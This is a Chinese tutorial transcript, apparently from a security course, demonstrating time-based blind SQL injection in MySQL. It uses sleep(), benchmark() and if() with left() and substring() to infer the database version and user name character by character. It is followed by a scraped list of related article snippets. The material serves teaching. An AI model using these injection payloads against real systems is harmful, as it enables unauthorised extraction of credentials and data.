1.时间窃取相关函数基本使用

我们通过实际的操作,给大家演示一下,use hxf

我们先看一下当前数据库下,有那些表,show tables;

其中,我们看下,select * from user;

有5条记录,并且它返回来的速度很快,0.0秒

我们有个函数叫休眠函数,sleep,休眠后面加个数字,1代表休眠1秒,我们回车看一下,select sleep(1);

我们看到它休眠了1秒钟,也就是执行了1秒

当我们输入两秒的时候,我们看下结果,select sleep(2);

自然就是两秒,所以,我们在查询的时候,如果select * from user,我们同时让它睡眠1秒钟,select *,sleep(1) from user;

我们看到这次结果,不一样,虽然它睡眠是1秒,但是我们有5条记录,所以它睡眠了5秒

这就是睡眠的一个特性,多少条记录,它就睡眠多少秒

压力测试函数,压力测试叫benchmark(),它是对计算测试多少次,所花费的时间,比如10万次,对huangxifengmd5加密进行计算,计算10万次所花费的时间,回车看下,select benchmark(100000,md5(‘huangxifeng’));

我们看到计算10万次,也只是花费0.03秒,这个函数是衡量mysql在不同的平台,性能是怎么样的

但是在注入中,往往也有它的应用,10万,显然是太快了,100万,可能也是0.04秒,那500万呢,select benchmark(5000000,md5(‘huangxifeng’));

我们看到是接近1.5秒的,这也是压力测试的一个特点

我们看一下if()函数,如果5大于2,那么就是a,如果不是的话,就是b,我们回车先看一下,select if(5>2,‘a’,‘b’);

if有3个表达式,第一个表达式是计算,如果为真就用第二个参数,如果为假,就用第三个参数

我们还可以把它变为假,2大于5,这显然是假,select if(2>5,‘a’,‘b’);

返回的就是b,这就是if的用法

我们概括一下

相关函数:

睡眠函数:Sleep()

取左边多少字符:left

取字符串中任意个字符:substring()

benchmark()

if()

Select sleep(1):睡眠1秒

Select left(user(),1):获得user()最左边的1位

Substring():获得字符串任意位置的任意个字符

Benchmark():对运算执行压力测试,以便测试这个计算花费多长时间

If()表达式,第一个表达式为真,则执行第二个表达式,否则执行第三个表达式

2.时间窃取盲注应用

我们通过实际的操作,给大家演示一下

我们查询整张表,select * from user;

就5条记录,返回实际上是0秒,速度相当快

假如,我们注入者输入if and逻辑关系,我们取版本号最左边一个字符,如果大于4,我们就睡眠5秒,否则的话,就取1,select * from user where uname=‘admin’ and if(left(version(),1)>4,sleep(5),1);

显然版本号左边大于4,因为我们的查询结构出来只有1条记录的,所以要睡眠5秒,那我们得出的结果就很慢,所以,我们网页查询出来,它的结构会延迟一些,甚至,我们会感觉到很慢,那么,这就对了,这就是盲注本身的意义

and后面才是我们攻击者注入的时候,要输入的内容,select * from user where uname=‘admin’ and if (left(version(),1)=1,sleep(5),1);

这个是假,执行表达式是1,只要是大于0的数字,实际上返回的都是真,因此,结果是不变的逻辑,所以返回的就是0毫秒

那我们看一下等于2,我们一直输下去,select * from user where uname=‘admin’ and if (left(version(),1)=2,sleep(5),1);

select * from user where uname=‘admin’ and if (left(version(),1)=3,sleep(5),1);

select * from user where uname=‘admin’ and if (left(version(),1)=4,sleep(5),1);

当我们输到5的时候,select * from user where uname=‘admin’ and if (left(version(),1)=5,sleep(5),1);

我们执行了5秒钟,原因是,我们返回了1条记录,所以它睡眠了5秒

而在实际的网页商品中,我们返回的商品可能有10种,甚至100种,那我们执行的100秒是相当久的,所以where条件中,我们就把uname去掉,这时候执行的就是25秒,我们感受一下,select * from user where if(left(version(),1)=5,sleep(5),1);

25秒过去了,5秒钟和0秒钟的差别,主要用于盲注的判断

5秒钟,要返回很长的时间,如果不是,就很快,这是sleep的一个应用

接下来,我们讲一下benchmark的应用

我们把它替换成benchmark,我们使用substring对当前用户名进行判断,从第一个字符开始取,取1个,判断它是否等于a,如果是真的,我们就benchmark,执行500万次,我们用md5对字符串进行加密,这个字符串大家可以自己定义,加个1,我们回车,select * from user where uname=‘admin’ and if(substring(user(),1,1)=‘a’,benchmark(5000000,md5(‘huangxifeng’)),1);

我们发现速度很快,因为当前的用户是root,select user();

第一个字母应该是r,所以a是假,就不会执行benchmark(),而是执行1,1是真,所以它速度相当之快

那我们就会进行猜测,我们会a、b、c一直猜测下去,如果我们知道是root,那我们就直接输r,我们回车,select * from user where uname=‘admin’ and if(substring(user(),1,1)=‘r’,benchmark(5000000,md5(‘huangxifeng’)),1);

我们看到查询结果相当慢,它花费了1.25秒,这种时间的差别,就在我们盲注中,对数据的猜测和利用

我们概括一下,时间窃取函数的原理

1.猜测版本号,穷举法猜测用户名、密码等

Select * from users where uname=‘$uname’ and if(left(version(),1)=5,sleep(1),2);

使用sleep(),睡眠多少秒,如果它的时间返回的更慢一些,那我们的猜测就是正确的

2.Benchmark穷举法猜测用户名和密码等

select * from users where uname=‘admin’ and if(substring(uname,1,1)=‘b’,benchmark(10000000,md5(‘b’)),1);

我们输入计算的次数多,返回的时间就越慢,我们所感觉的判断就越准确,包括sleep也是,我们输入的秒数高,对猜测的判断就越有帮助

时间窃取函数,主要跟穷举法结合使用

3.小结

常用函数有哪些?

Sleep(),left,substring(),benchmark(),if()

常用的时间窃取函数:Sleep()、benchmark()、,if()

配合的函数:left,substring()

我们实现了时间窃取的办法,能够从时间当中窃取一些信息出来,实际上,这些窃取也得到了,相当多的信息,这些都是让它直接爆出来的

如果以上的办法无效的情况下,我们可以让它自己爆出来,自己爆出来,我们叫自爆家底

2-8时间窃取函数以及SQL注入应用相关推荐

  1. concat mysql sql注入_Mysql中用concat函数执行SQL注入查询的方法

    Mysql数据库使用concat函数执行SQL注入查询 SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示 ...

  2. mysql 时间盲注语句,sql注入学习记录(5)-基于时间延迟的SQL盲注

    上次说到了sql注入中的基于报错盲注的基本的方法. 今天说一说报错盲注 基于时间延时的SQL盲注 使用时间延时注入的场景: 1.不能使用union select 联合查询方式注入 2.有些网站没有回显 ...

  3. 日期和时间规范函数 (Entity SQL)

    下表显示 Entity SQL 日期和时间规范函数.datetime 为 DateTime 值. 功能 说明 AddNanoseconds( expression,number) 将指定的毫微秒 nu ...

  4. c mysql数据库函数库查询_Mysql数据库使用concat函数执行SQL注入查询

    SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来. 例如:原本查询语句是 select userna ...

  5. Oracle时间日期函数及sql语句

    一.时间日期函数 1.to_date函数 to_date的格式:to_date('要转换的时间','转换成的时间格式'), 两个参数的格式必须匹配,否则会报错. 需要注意的是,在Java中的时间格式是 ...

  6. iCMS后台do_query函数存在SQL注入漏洞

    目录 该漏洞CNVD-ID: CNVD-2019-08479 漏洞提交CNVD后,待CNVD公示才发出本文. 测试环境: 程序版本:v7.0.14 Windows + firefox + burpsu ...

  7. php 防止注入函数,php 防止SQL注入函数

    function inject_check($sql_str) { return eregi('select|insert|and|or|update|delete|\'|\/\*|\*|\.\.\/ ...

  8. 通过sql注入窃取用户数据库信息

    一.SQL注入的定义 SQL Injection ,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常会导 ...

  9. Sql注入和Html注入

    举例说,有一间公司的网页服务器上有一个留言板的代码,用来让用户发表简短的口信,例如: hello word!!!! 不过,这个代码原来有漏洞.一个意图入侵者得悉这间公司采用了有问题的代码,于是试图通过 ...

最新文章

  1. leetcode算法题--预测赢家★
  2. makefile编译_C++ Lesson 5:编译Makefile
  3. BTrace使用小结
  4. 以深圳.NET俱乐部名义 的技术交流会圆满成功
  5. Ant 简单示例+环境变量配置说明
  6. linux下sqlite3的使用
  7. win10 java8安装包双击之后完全没反应
  8. 大数据的十大应用领域
  9. wincc提示项目管理器服务器不可用,Wincc新建文件时提示项目管理器 服务器不可用...
  10. linux设置usb选择性暂停,usb大容量存储设备是什么?USB大容量存储设备无法启动怎么办?...
  11. 论文阅读:Axiomatic Characterization of Data-Driven Influence Measures for Classification
  12. linux 3.0实时性,如何1分钟内对 Linux 性能快速分析(113资讯网)
  13. 计算机是如何存储矩阵,如何存储稀疏邻接矩阵(How to store sparse adjacency matrix)
  14. Win10 用户管理中无法删除唯一的administrators组用户
  15. 护卫神备份mysql_护卫神好备份系统数据库怎么备份?
  16. 周日下雨,寂寥中读核
  17. java jdom 更新xml_用JDOM完成Java更新XML文件
  18. linux离线下载并安装amd64包
  19. 赞csdn工作人员的响应速度
  20. python好学么数学_python难学吗

热门文章

  1. 被“文化殖民”的农村
  2. 笔记本连上无线网但是无法上网络连接服务器,笔记本电脑连上无线网却不能上网怎么处理...
  3. [从头学绘画] 第19节 六十四式八卦掌 (57-64)
  4. 主成分分析matlab实例及测试,[学习笔记]主成分分析说明以及matlab实现
  5. js 实现 input 框 是否只读属性
  6. [转载]Linux内核大讲堂 (一) 设备驱动的基石驱动模型(1)
  7. webpack优化之HappyPack实战
  8. Java的Map中的map.keySet()方法
  9. matlab仿真的优势,新手必看 saber和simulink的区别与优势
  10. HAUTOJ 1070: 小汽车的位置